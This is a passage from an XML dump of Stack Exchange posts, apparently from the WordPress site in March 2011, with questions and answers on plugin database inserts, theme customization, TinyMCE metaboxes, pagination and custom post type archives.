rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/better-related/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4252" LastActivityDate="2011-03-27T16:50:32.340" Title="How to exclude Privately Published post from the Better Related Content plugin (by Nicolas Kuttler)?" Tags="&lt;plugins&gt;" />
  <row Id="13217" PostTypeId="1" AcceptedAnswerId="13220" CreationDate="2011-03-27T17:03:29.287" Score="1" ViewCount="47" Body="&lt;p&gt;For example, I used the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/&quot; rel=&quot;nofollow&quot;&gt;Vote it Up&lt;/a&gt; but it haven't been updated since 2010-5-28. Now I moved to &lt;a href=&quot;http://www.gdstarrating.com/&quot; rel=&quot;nofollow&quot;&gt;GD star rating&lt;/a&gt; which was last updated in January 6, 2011 (and still maintained by he author).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it not recommendable to stick with plugins that are no longer supported by the author for production sites?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-27T17:18:15.430" Title="Is it not recommendable to stick with plugins that are no longer supported by the author for production sites?" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="13218" PostTypeId="2" ParentId="13217" CreationDate="2011-03-27T17:13:59.247" Score="1" ViewCount="" Body="&lt;p&gt;What do &lt;em&gt;you&lt;/em&gt; think? :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snarkiness aside, it depends on wether you have the necessary resources to maintain it on your own, should the need arise (either doing it yourself, or hiring someone).&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-27T17:13:59.247" />
  <row Id="13220" PostTypeId="2" ParentId="13217" CreationDate="2011-03-27T17:18:15.430" Score="4" ViewCount="" Body="&lt;p&gt;As for me key questions here are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Is plugin outdated?&lt;/strong&gt; Not using approaches and coding practices of current WP versions.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;When will it become outdated?&lt;/strong&gt; This can range from months (next WP version changes something relevant) to years (plugin does something simple on using common and basic hooks).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Can you handle when it will become outdated?&lt;/strong&gt; Maybe you can maintain it yourself. Maybe you have budget to hire someone for that. Maybe it will ruin your site.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-27T17:18:15.430" />
  <row Id="13221" PostTypeId="1" CreationDate="2011-03-27T17:20:26.330" Score="0" ViewCount="92" Body="&lt;p&gt;Every now and then some of my Wordpress pages (and posts) seems to be missing, I get the 404 page (although the HTTP response code is 200). A couple of hours later the page is back, with no changes in the backend The only thing that I can think of that might cause this is the W3 Total Cache Plugin, but I can't figure out how. Has anyone seen this behaviour before? 3.1 multisite, nginx and w3tc.&lt;/p&gt;&#xA;" OwnerUserId="221" LastActivityDate="2011-03-27T17:20:26.330" Title="Intermittently missing pages and posts in WordPress" Tags="&lt;404-error&gt;&lt;plugin-w3-total-cache&gt;&lt;nginx&gt;" CommentCount="2" />
  <row Id="13222" PostTypeId="2" ParentId="13213" CreationDate="2011-03-27T17:23:11.543" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;does functions.php get invoked before any of the hooks are executed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is processed during theme(s) load, right before &lt;code&gt;after_setup_theme&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;does the framework call your &quot;page.php&quot;, etc., somewhere within the sequence of hooks, or after all hooks have been executed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I am not mistaken specific template is determined and processed in &lt;code&gt;template_redirect&lt;/code&gt; hook.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-27T17:23:11.543" />
  <row Id="13223" PostTypeId="1" CreationDate="2011-03-27T18:22:46.897" Score="0" ViewCount="38" Body="&lt;p&gt;When creating a widget from script, what should the second argument be, if any?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here's how I create standard text widgets from script...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$widget_ops[$widget_id] = array('title' =&amp;gt; 'my widget title','text' =&amp;gt; 'my widget text content',);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this ok for non text widgets (ie, widget_links, widget_rss, widget_search, etc?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$widget_ops[$widget_id] = array('title' =&amp;gt; 'my widget title','text' =&amp;gt; '',);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-27T18:22:46.897" Title="What arguments are required when dynamically creating widgets from script?" Tags="&lt;plugin-development&gt;&lt;widgets&gt;" CommentCount="1" />
  <row Id="13224" PostTypeId="2" ParentId="13215" CreationDate="2011-03-27T18:25:24.383" Score="2" ViewCount="" Body="&lt;p&gt;The Thesis framework uses a unique system to customize while inheriting the parent theme's functions and styles, different from the typical Wordpress method of child/parent themes. You don't actually build a separate theme folder with Thesis - you edit the files within &lt;code&gt;/wp-content/themes/thesis/custom/&lt;/code&gt; (or if it doesn't exist yet, change the name of the &quot;custom-sample&quot; folder to &quot;custom&quot; and then edit the contents).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two basic files to start with - &lt;code&gt;custom_functions.php&lt;/code&gt; and &lt;code&gt;custom.css&lt;/code&gt;. Place any code you would normally place in the &lt;code&gt;functions.php&lt;/code&gt; file of a child theme into &lt;code&gt;custom_functions.php&lt;/code&gt;, and place any CSS you would normally place in the &lt;code&gt;style.css&lt;/code&gt; of a child theme into &lt;code&gt;custom.css&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thesis reads these two files and automatically injects them like a child theme when rendering. There's an images folder inside of &lt;code&gt;/custom&lt;/code&gt; you can use for your graphics, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The great thing about this system of customizing Thesis is that it's completely self-contained - you can copy your &lt;code&gt;/custom&lt;/code&gt; folder to any other site running thesis, and your customizations also won't be overwritten by updates to the Thesis theme itself.&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2011-03-27T18:25:24.383" CommentCount="3" />
  <row Id="13225" PostTypeId="1" AcceptedAnswerId="13230" CreationDate="2011-03-27T18:34:51.233" Score="3" ViewCount="496" Body="&lt;p&gt;I am quite new in WP Plugin World. I am trying to develop a plugin in WP 3.1 when I am trying to insert data into my table named &quot;&lt;code&gt;wp_enam&lt;/code&gt;&quot; in the following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;insert($wpdb-&amp;gt;enam, array('username' =&amp;gt; &quot;enam&quot; ,&#xA;                                 'useremail' =&amp;gt; &quot;myemail@somedomain.com&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to debug it in following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;show_errors();&#xA;$wpdb-&amp;gt;insert($wpdb-&amp;gt;enam, array('username' =&amp;gt; &quot;enam&quot; ,&#xA;                                 'useremail' =&amp;gt; &quot;myemail@somedomain.com&quot;));&#xA;$wpdb-&amp;gt;print_error(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I am getting following message from MR.WP&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WordPress database error: [Incorrect table name '']&#xA;INSERT INTO `` (`username`,`useremail`) VALUES ('enam','myemail@somedomain.com')&#xA;&#xA;WordPress database error: [Incorrect table name '']&#xA;INSERT INTO `` (`username`,`useremail`) VALUES ('enam','myemail@somedomain.com')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see the table name is not showing in the mysql query. Is this a correct way to access a table name with &lt;code&gt;$wpdb-&amp;gt;my_table&lt;/code&gt;? &lt;strong&gt;I am using mysql&lt;/strong&gt;. Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1:&lt;/strong&gt;&#xA;Looks like &lt;code&gt;$wpdb-&amp;gt;tblname&lt;/code&gt;do not add the table prefix anymore! As per &lt;em&gt;&quot;Professional WordPress Wrox&quot; by Hal Stern, David Damstra and Brad Williams&quot;&lt;/em&gt; (which is a great book ) it should work. The above functionality is explained at this book in the following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;my_custom_table to reference the table in WordPress. &#xA;This translates to wp_my_custom_table if wp_ is the table prefix. &#xA;This is the proper way to determine the correct table prefix when working with tables in the WordPress database.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;Page:107&lt;/em&gt;)&lt;/p&gt;&#xA;" OwnerUserId="3918" LastEditorUserId="3918" LastEditorDisplayName="" LastEditDate="2011-03-28T18:09:11.947" LastActivityDate="2011-03-28T18:09:11.947" Title="insert data in database table from plugin with WP3.1" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;database&gt;&lt;wp-query&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="13226" PostTypeId="1" CreationDate="2011-03-27T18:38:20.100" Score="0" ViewCount="131" Body="&lt;p&gt;I added a TinyMCE editor to my plugin settings page, but once I move (drag) the metabox, editor's content get lost. (the TinyMCE editor is completely not editable until refresh)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I added TinyMCE editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_head', 'add_tinymce_editor' );&#xA;&#xA;function add_tinymce_editor() {&#xA;    if ( function_exists( 'wp_tiny_mce' ) ) {&#xA;        add_filter('teeny_mce_before_init', create_function( '$a', '&#xA;            $a[&quot;mode&quot;] = &quot;textareas&quot;;&#xA;            $a[&quot;editor_selector&quot;] = &quot;&quot;;&#xA;            $a[&quot;plugins&quot;] = &quot;safari,inlinepopups,spellchecker&quot;;&#xA;            return $a;')&#xA;        );&#xA;&#xA;        wp_tiny_mce( true );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what can cause this bug and how to prevent/fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4212" LastActivityDate="2011-07-23T13:43:29.563" Title="Moving/dragging a metabox removes TinyMCE's content" Tags="&lt;plugin-development&gt;&lt;metabox&gt;&lt;tinymce&gt;" AnswerCount="2" />
  <row Id="13227" PostTypeId="2" ParentId="13225" CreationDate="2011-03-27T18:38:48.110" Score="0" ViewCount="" Body="&lt;p&gt;I think the wpdb-&gt;enam is incorrect, it doesnt exist , you just have to enter tablename there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;insert(&quot;table_name&quot;, array('username' =&amp;gt; &quot;enam&quot; ,&#xA;                             'useremail' =&amp;gt; &quot;myemail@somedomain.com&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2434" LastActivityDate="2011-03-27T18:38:48.110" CommentCount="2" />
  <row Id="13228" PostTypeId="2" ParentId="13225" CreationDate="2011-03-27T18:43:26.523" Score="3" ViewCount="" Body="&lt;p&gt;You should use something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;prefix . 'table_name'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't wan't to repeat your table name through your code save it in a variable or create a function like this one: (nothing cool, but I use it this way, works if you have just one custom table, so it is not very versatile..)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_table_name() {&#xA;    global $wpdb;&#xA;    return $wpdb-&amp;gt;prefix . 'table_name';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4212" LastActivityDate="2011-03-27T18:43:26.523" CommentCount="4" />
  <row Id="13230" PostTypeId="2" ParentId="13225" CreationDate="2011-03-27T18:56:17.287" Score="3" ViewCount="" Body="&lt;p&gt;You can check database function for database here &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wpdb_Class&lt;/a&gt; . For the table prefix matter you should use &lt;code&gt;$wpdb-&amp;gt;prefix . 'enam'&lt;/code&gt; and it will return the table prefix. Just add the table name with this. So the total code would be :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$yourtablename =  $wpdb-&amp;gt;prefix . 'enam';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so your total code could be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;insert($yourtablename , array('username' =&amp;gt; &quot;enam&quot; ,&#xA;                             'useremail' =&amp;gt; &quot;myemail@somedomain.com&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;If you need more information you can see &lt;a href=&quot;http://codex.wordpress.org/Creating_Tables_with_Plugins&quot; rel=&quot;nofollow&quot;&gt;THIS&lt;/a&gt; article. This is very useful article for creating plugin with database.&lt;/p&gt;&#xA;" OwnerUserId="4254" LastEditorUserId="4254" LastEditorDisplayName="" LastEditDate="2011-03-28T17:07:29.800" LastActivityDate="2011-03-28T17:07:29.800" CommentCount="2" />
  <row Id="13231" PostTypeId="2" ParentId="13215" CreationDate="2011-03-27T19:01:50.793" Score="1" ViewCount="" Body="&lt;p&gt;Shalu, I have not created any child themes, but as &lt;strong&gt;&lt;em&gt;somatic&lt;/em&gt;&lt;/strong&gt; said, the best and easiest way with Thesis is to make your edits to the &lt;strong&gt;custom.css&lt;/strong&gt; and &lt;strong&gt;custom_functions.php&lt;/strong&gt; files.  These files become portable and can be used in any Thesis design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to create a Thesis child theme, here's an article from Kristarella that I bookmarked which guides you through the the steps. &lt;a href=&quot;http://www.kristarella.com/2010/10/wordpress-child-themes-and-thesis/&quot; rel=&quot;nofollow&quot;&gt;http://www.kristarella.com/2010/10/wordpress-child-themes-and-thesis/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-03-27T19:01:50.793" CommentCount="2" />
  <row Id="13232" PostTypeId="5" CreationDate="2011-03-27T20:01:12.543" Score="0" ViewCount="" Body="&lt;p&gt;Distributed by DIY Themes, the Thesis Theme Framwork is a flexible WordPress theme which can be used out the box or significantly customized by designers/developers.  Created by Chris Pearson, the theme is known for clean design and well thought out typography.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A unique feature of the Thesis theme is its use of two specific files for customization: the custom.css and custom-functions.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than editing core theme files, customizations can be achieved by making stylistic changes to custom.css, while structural and functional changes are made through the custom-functions.php.  This allows design and architectural customizations to be retained, even if the theme undergoes an update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Thesis theme has a large group of users and an active user forum, providing support to registered users of the theme.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-03-27T20:14:32.117" LastActivityDate="2011-03-27T20:14:32.117" />
  <row Id="13233" PostTypeId="4" CreationDate="2011-03-27T20:01:12.543" Score="0" ViewCount="" Body="A popular premium WordPress theme framework developed by Chris Pearson, known for its flexibility in both design and typography. " OwnerUserId="-1" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-03-27T20:14:29.013" LastActivityDate="2011-03-27T20:14:29.013" />
  <row Id="13234" PostTypeId="1" CreationDate="2011-03-27T20:19:54.853" Score="0" ViewCount="271" Body="&lt;p&gt;In the &lt;code&gt;index.php&lt;/code&gt; page, I need to skip 5 posts (the last 5 posts in the blog).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-paginate/&quot; rel=&quot;nofollow&quot;&gt;the WP-Paginate plugin&lt;/a&gt;, but all pages show the same. I'm using &lt;code&gt;offset=5&lt;/code&gt;, this is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;?&amp;gt;&#xA;&amp;lt;?php   $additional_loop = new WP_Query(&quot;offset=5&amp;amp;paged=&quot;.$paged);  &#xA;        if ($additional_loop-&amp;gt;have_posts()) :&#xA;&#xA;        while ($additional_loop-&amp;gt;have_posts()) : $additional_loop-&amp;gt;the_post();&#xA;        the_title();?&amp;gt;&amp;lt;br/&amp;gt;&#xA;        &amp;lt;?php the_content();?&amp;gt;&#xA;        &amp;lt;?php endwhile;endif;?&amp;gt;&#xA;        &amp;lt;?php if(function_exists('wp_paginate')) {&#xA;    wp_paginate('range=4&amp;amp;anchor=2&amp;amp;nextpage=Next&amp;amp;previouspage=Previous');&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2076" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-11T17:07:00.357" LastActivityDate="2011-04-11T20:00:06.763" Title="Skip 5 latest post while paging?" Tags="&lt;loop&gt;&lt;pagination&gt;&lt;homepage&gt;&lt;plugin-wp-paginate&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="13235" PostTypeId="1" CreationDate="2011-03-27T20:30:01.393" Score="0" ViewCount="162" Body="&lt;p&gt;have a site w/a static home page and a posts page and then a number of other static pages - i set up a custom header for the home page and then another all other pages like this in the header&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if(is_home()){&#xA;include(TEMPLATEPATH.'/header_front.php');}&#xA;&#xA;else {&#xA;include(TEMPLATEPATH.'/header_default.php');}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it works perfectly except that the posts page is displaying header_front.php instead of header_default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i guess im asking how i get wordpress to realize that the posts page isnt the home page&lt;/p&gt;&#xA;" OwnerUserId="2174" LastActivityDate="2011-03-30T02:14:30.373" Title="custom headers for static home page and posts page" Tags="&lt;customization&gt;&lt;page&gt;&lt;headers&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="13236" PostTypeId="1" CreationDate="2011-03-27T20:33:23.563" Score="0" ViewCount="55" Body="&lt;p&gt;I want to create an input field in the dashboard where I can put in links or text which will update a section I define on the actual website. I know I can just edit the template but I want to make things easier for the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be a bit more specific, I have a 'latest updates' section in the header and the client has requested that he'd like to update this manually. So I'd like to create an input box of some sort in the dashboard so he can easily enter text (or links), click save, and have it reflected on the website (in the header).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone give me a starting point?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2011-03-27T20:33:23.563" Title="How do I create a section in the dashboard w/ an input field" Tags="&lt;dashboard&gt;" CommentCount="2" />
  <row Id="13237" PostTypeId="1" AcceptedAnswerId="13337" CreationDate="2011-03-27T20:34:34.950" Score="0" ViewCount="486" Body="&lt;p&gt;I have registered a custom post type with the right parameters. By that I mean I have added &lt;code&gt;'taxonomies' =&amp;gt; array('post_tag','category')&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried using &lt;code&gt;register_taxonomy_for_object_type('post_tag', 'custom-post-type-name');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom function in my functions.php to load a basic loop using a conditional, along the lines of.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function child_maybe_do_grid_loop() {    &#xA;if( is_tag() || is_category() || is_archive {&#xA;require(CHILD_DIR.'/custom-tag.php');&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The content of custom-tag.php is just a very basic loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA; &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt; &#xA;   &amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt; &#xA; &amp;lt;?php endwhile; ?&amp;gt;    &#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;h2 class=&quot;center&quot;&amp;gt;Not Found&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine for regular posts/page tags but for a custom post type tags I get &quot;Not Found&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I assumed a regular simple loop should work with custom posts type tag archives or do I need to put some extra conditionals/query's in there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** Update toscho's comment made me turn on debugging and in comparison to a working tag page made through a default post, the debug for custom post tag is exactly the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even get count =&gt; 2 to show up as I incrementally add more custom posts to the same tag, yet the page refuses to return anything,  I am at a loss.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-03-28T22:54:06.350" LastActivityDate="2011-03-28T22:54:06.350" Title="Custom post type tag archives don't work for basic loop?" Tags="&lt;custom-post-types&gt;&lt;tags&gt;&lt;archive&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="13239" PostTypeId="1" CreationDate="2011-03-27T21:00:19.513" Score="0" ViewCount="31" Body="&lt;p&gt;Why is that &lt;code&gt;bbp_topic_reply_count&lt;/code&gt; returns the right number in this loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( $args ); ?&amp;gt;&#xA;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;most-voted&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;?php _e('Most Voted Topic'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;?php printf( __( 'Started by: %1$s', 'bbpress' ), bbp_get_topic_author_link( array( 'size' =&amp;gt; '14' ) ) ); ?&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;?php bbp_reply_admin_links(); ?&amp;gt;&#xA;        &amp;lt;h4&amp;gt;&amp;lt;?php bbp_topic_reply_count(); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;div class=&quot;topic-like-count&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;&amp;lt;?php wp_gdsr_render_article_thumbs(); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;span&amp;gt;&amp;lt;?php _e( 'votes' ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it returns 0 in this one?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;            &amp;lt;?php $custom_posts-&amp;gt;query('category_name=Lyrics'); ?&amp;gt;&#xA;            &amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;            &amp;lt;div class=&quot;content-block&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;                &amp;lt;h4&amp;gt;&amp;lt;?php bbp_topic_reply_count(); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .content-block --&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-27T21:00:19.513" Title="Why bbp_topic_reply_count only works in a query_posts loop and not in a WP_Query loop?" Tags="&lt;loop&gt;&lt;bbpress&gt;" />
  <row Id="13240" PostTypeId="1" AcceptedAnswerId="13244" CreationDate="2011-03-27T21:40:29.543" Score="0" ViewCount="132" Body="&lt;p&gt;How to add a random image to a post from gallery and only show one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to add an image and a gallery. I need to have one image from the galley show on the page at random each time the page is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page should only show one image at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin or short code to do this? I know how to make gallery's random, but they show all the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( &#xA;                'post_type' =&amp;gt; 'attachment',&#xA;                'numberposts' =&amp;gt; 1,&#xA;                'orderby' =&amp;gt; 'rand',&#xA;                'post_status' =&amp;gt; null,&#xA;                'post_parent' =&amp;gt; get_the_ID(),&#xA;                'post_mime_type'  =&amp;gt; 'image'&#xA;            ); &#xA;            have_posts(); //must be in the loop&#xA;            the_post(); //set the ID&#xA;&#xA;            $images = get_children( $args );            &#xA;&#xA;            if ($images) {&#xA;            foreach ( $images as $attachment_id =&amp;gt; $attachment ) {&#xA;                    echo wp_get_attachment_image( $attachment_id, 'full' );&#xA;                }&#xA;            }&#xA;            wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastEditorUserId="197" LastEditorDisplayName="" LastEditDate="2011-03-28T00:44:59.727" LastActivityDate="2011-03-28T00:44:59.727" Title="How to add a random image to a post from gallery and only show one?" Tags="&lt;plugins&gt;&lt;images&gt;&lt;gallery&gt;" AnswerCount="1" />
  <row Id="13241" PostTypeId="1" AcceptedAnswerId="13243" CreationDate="2011-03-27T22:44:26.243" Score="1" ViewCount="90" Body="&lt;p&gt;I want to add permanently boxes below Visual/HTML editor for each page/post. I've never played with custom fields before, and I'm not sure is it way to go?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes ten tell me, good people of StackExchange, how to achieve something like that (grey boxes):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/eerx1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-03-27T23:07:51.667" Title="Custom options below pages/posts editor?" Tags="&lt;themes&gt;&lt;custom-field&gt;&lt;customization&gt;&lt;theme-options&gt;" AnswerCount="1" />
  <row Id="13242" PostTypeId="1" AcceptedAnswerId="13781" CreationDate="2011-03-27T22:52:28.233" Score="1" ViewCount="285" Body="&lt;p&gt;A client currently has a website set up with three distinct sub-sites (run off a single WordPress install), each with a slightly different theme (same layout, different colour scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have it set up so each sub-site is a page, with all of it's pages as children. The header.php checks which page is the parent and includes the appropriate style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem comes with pages that are identical throughout the site, which the client wishes to have accessible from each sub-site as a separate page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the about page, should be accessible from /site1/about and /site2/about and use the theme for the site that has requested it, but display the same content on both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could just create the child pages, and set the rel=&quot;canonical&quot; to reference the original, but from a maintenance point of view, it would preferable to have a single page that the content is pulled from on each of the sub sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so to the question, how do I get several URLs/pages to pull their content from a single source?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Here's an example of the desired structure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;www.example.com&lt;/strong&gt; - Displays links to&#xA;the three main services, as well as&#xA;general information&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;www.example.com/about&lt;/strong&gt; - Displays information about the client, styled to match www.example.com&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;www.example.com/service1&lt;/strong&gt; - Displays navigation related to the specific service,&#xA;styled in it's own individual colour,&#xA;alongside generic links (about,&#xA;contact)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;www.example.com/service1/about&lt;/strong&gt; - Displays the navigation and stylesheet for /service1, but using the content from www.example.com/about (and with a canonical link reference to www.example.com/about)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is then repeated for /service2 and /service3.&lt;/p&gt;&#xA;" OwnerUserId="4256" LastEditorUserId="4256" LastEditorDisplayName="" LastEditDate="2011-03-28T15:22:10.093" 